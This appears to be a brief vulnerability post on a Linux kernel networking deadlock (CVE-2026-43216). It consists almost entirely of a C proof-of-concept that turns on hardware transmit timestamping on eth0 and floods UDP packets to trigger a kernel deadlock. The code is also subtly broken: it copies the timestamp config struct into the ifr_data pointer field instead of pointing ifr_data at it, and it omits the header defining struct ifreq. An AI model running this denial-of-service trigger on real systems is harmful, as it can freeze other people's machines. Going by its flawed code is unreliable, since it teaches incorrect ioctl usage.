CVE-2026-43216: Linux内核网络子系统死锁漏洞

/* * Conceptual PoC for CVE-2026-43216 * Triggering potential deadlock in skb_may_tx_timestamp by * enabling hardware timestamps and sending packets. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <linux/net_tstamp.h> #include <sys/ioctl.h> int main() { int sockfd; struct sockaddr_in addr; struct ifreq ifreq; struct hwtstamp_config hwtstamp; char buffer[1024]; sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket"); return 1; } // Attempt to enable hardware timestamping to trigger driver IRQ path // Note: Requires a network interface supporting hardware timestamping (e.g., eth0) strcpy(ifreq.ifr_name, "eth0"); hwtstamp.flags = 0; hwtstamp.tx_type = HWTSTAMP_TX_ON; memcpy(&ifreq.ifr_data, &hwtstamp, sizeof(hwtstamp)); if (ioctl(sockfd, SIOCSHWTSTAMP, &ifreq) < 0) { perror("ioctl SIOCSHWTSTAMP"); } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(8080); inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr); // Send packets to trigger the timestamp handling logic in IRQ context for (int i = 0; i < 10000; i++) { sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr *)&addr, sizeof(addr)); } close(sockfd); return 0; }